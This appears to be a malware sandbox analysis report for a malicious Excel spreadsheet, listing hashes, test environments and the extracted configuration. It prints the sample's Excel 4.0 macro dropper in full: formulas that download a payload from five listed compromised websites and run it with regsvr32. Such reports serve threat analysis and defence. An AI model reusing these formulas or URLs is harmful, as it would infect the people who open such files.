Static task
static1
Behavioral task
behavioral1
Sample
9fdaebbca3a2322de05fb39cb2d0d619587f07995b0d42c972d036bb487f246e.xlsx
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
9fdaebbca3a2322de05fb39cb2d0d619587f07995b0d42c972d036bb487f246e.xlsx
Resource
win10v2004-20240802-en
General
-
Target
9fdaebbca3a2322de05fb39cb2d0d619587f07995b0d42c972d036bb487f246e
-
Size
65KB
-
MD5
fd030465cbd899f29d2cd8852a9875b4
-
SHA1
81f06b6fc7172c03a37556c7484fab967705debb
-
SHA256
9fdaebbca3a2322de05fb39cb2d0d619587f07995b0d42c972d036bb487f246e
-
SHA512
3de0a0201a28d5f38b5ece2142677adc8ce0f3079960ea4b9f8996dcac829415267279c13b613603ec30af643ff22e56b634731a5db2b835764ba017f9730453
-
SSDEEP
1536:BfMGMXA+A0x+vCXvD9gDX6pKp8Fl5QZIsEPiwBSbed:BfMGMXAp0tXWuo8FQZIhPdH
Malware Config
Extracted
https://vasilestudio.com/wp-admin/pZ1vbd5Z/
https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/
https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/
https://triclicks.net/wp-admin/bv/
https://thecanadianarab.com/wp-content/VJ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()
Signatures
Files
-
9fdaebbca3a2322de05fb39cb2d0d619587f07995b0d42c972d036bb487f246e.xlsx office2007